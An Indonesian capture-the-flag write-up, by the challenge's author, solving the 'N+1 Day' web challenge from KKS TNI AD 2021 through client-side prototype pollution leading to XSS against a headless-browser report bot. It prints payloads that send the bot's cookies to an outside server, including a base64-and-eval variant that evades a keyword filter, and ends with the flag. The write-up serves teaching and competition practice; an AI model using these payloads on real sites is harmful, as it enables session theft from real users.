Writeup Final KKS TNI AD 2021 – N+1 Day (Web)

Last Update Article: 2021-09-30 11:48:41


Writeup Final KKS TNI AD 2021 – N+1 Day (Web)

Assalamualaikum warahmatullahi wabarakatuh kali ini saya ingin menuliskan cara penyelesaian salah satu soal Final dan Penyisihan di kompetisi KKS TNI AD 2021. Soal ini memang sudah keluar di waktu penyisihan dengan nama “0day? 1day? 2day?” namun sampai akhir tidak ada satu orang pun yang melakukan submit jawaban di web scoring maka dari itu di Final, saya keluarkan kembali dengan melakukan banyak tambahan pada proses backend dan frontend-nya, lalu merubah namanya menjadi “X+1 Day”.

Untitled

Sejujurnya, H+10 menit setelah penyisihan selesai ada salah satu peserta yang mempunyai username Telegram @nyxsorcerer yang menurut dia bisa menyelesaikan soal tersebut, namun kehabisan waktu untuk dapat melakukan submit jawaban. Juga, dia tidak bisa mencobanya, karena tepat H+5 menit setelah waktu berakhir, saya mematikan servicenya. Lalu, saya melakukan deploy di server pribadi saya dan ya, dia Solved. Saya melakukan deploy di server pribadi, karena melihat tim dia tidak masuk ke area 10 besar dan juga kesempatan dia di Final sudah hilang. Berikut ini cara menyelesaikannya, diberikan sebuah tautan jika dibuka akan menampilkan hasil seperti berikut ini:

Fitur dari website ini hanya 2 saja, 1 adalah melihat informasi dari setiap karakter yang ada di gambar itu, serta yang kedua adalah melaporkan tautan yang rusak, tampilan dari salah satu karakter jika diklik adalah seperti ini:

Untitled

Tidak ada apapun yang menarik di sini, serta tidak ada hal yang bisa dilakukan, di fitur laporan broken link akan seperti ini tampilannya:

Untitled

Saat kita melakukan input sebuah tautan di fitur tersebut, akan mengembalikan response seperti berikut ini:

Untitled

Untuk menduga cara kerja dari brokenlink fitur ini, bisa mencoba memasukan tautan dari server pribadi kita, dan melihat apa yang dia lakukan lewat access.log.

Untitled

Dari response tersebut dilihat bahwa user-agent yang digunakan memiliki string HeadlessChrome yang mana adalah user-agent dari Chromium dan rumpun lainnya yang digunakan untuk melakukan requests like a browser. Dari sini, bisa diasumsikan skenario serangannya dapat berupa, SSRF, ataupun XSS untuk mendapatkan sebuah flagnya. Tapi hal yang paling mungkin di sini adalah XSS, tapi, di mana inject pointnya? Kita dapat melakukan review di frontend-nya di bagian Javascript-nya untuk mengetahui cara kerja aplikasi ini:

Untitled

Di situ terdapat 2 JS, main.js dan parse.js hasil dari parse.js mengembalikan hasil 404

Untitled

Dan hasil dari main.js adalah seperti berikut ini

Untitled

Untitled

Untitled

Di bagian salah satu fungsi yaitu sanitize sebenarnya adalah kuncinya, yaitu memberi tahu kepada peserta bahwa ini adalah XSS PROTOTYPE POLLUTION

Untitled

Fungsi sanitize dipanggil untuk melakukan filterisasi di dalam fungsi getParameter, yang mana fungsi getParameter menerima inputan location.href

Untitled

Di dalam fungsi createElement, fungsi tersebut akan membuat empty object, kemudian key tersebut dijadikan identifier pada empty object tersebut.

Untitled

Untuk memastikannya, kita bisa melakukan percobaan seperti berikut ini

Untitled

Benar, ternyata dapat dilakukan polute di bagian fungsi tersebut, untuk melakukan bypass pada fungsi sanitize kita dapat melakukan double url encode dan menjadikannya seperti berikut ini

Untitled

Kemudian untuk melakukan XSS, kita perlu mencari sebuah fungsi untuk memanipulasi DOM yang akan digunakan sebagai gadget. Pada baris 108 – 133, terdapat sebuah variable message yang dapat dimanfaatkan sebagai gadget untuk melakukan XSS.

Untitled

Dengan itu maka exploit lengkapnya berbentuk seperti ini:

Untitled

Dan untuk melakukannya, bisa dirangkai seperti ini exploitnya:

Untitled

**?constructor.pr%256ftotype.message=<img src=x onerror=alert(1)>**

Dari sini kita tinggal merangkai payload XSS-nya, untuk mendapatkan Flag di dalam Cookies robots. Seperti berikut ini

**http://ip:port/character/Zhongli?constructor.pr%256ftotype.message=<img src=x onerror=fetch(“http://server/”.concat(document.cookie))>**

Dan di server kita akan menampilkan FLAG yang dicari

Untitled

Itulah cara untuk menyelesaikan soal di waktu penyisihan, cara ini hampir sama dengan cara milik @nyxsorcerer Jadi di waktu final, saya menambahkan beberapa filter di bagian URL checker BOT, yang mana beberapa kata tidak akan bisa dimasukan seperti

Untitled

fetch|com|cors|document|cookie|x|mode

Untitled

Jadi caranya kita harus melakukan encode ke base64 lalu melakukan eval, seperti berikut ini exploit lengkapnya.

http://0day.rpw.my.id/character/Albedo?constructor.pr%256ftotype.message=%3Cimg%20src=z%20onerror=eval(atob(%22ZmV0Y2goImh0dHBzOi8vd2ViaG9vay5za\u0058RlL2M\u0078YzA5MWJmLTM1MjctNDliZS1iOGY5LWU1MDI2NjJiODM5Ni8/IitidG9hKGRvY3VtZW50LmNvb2tpZSkp%22))%3E

Semoga membantu dan selamat kepada para juara.

KKST2021{pingin_dota_sih_asli_asliiiiiiii}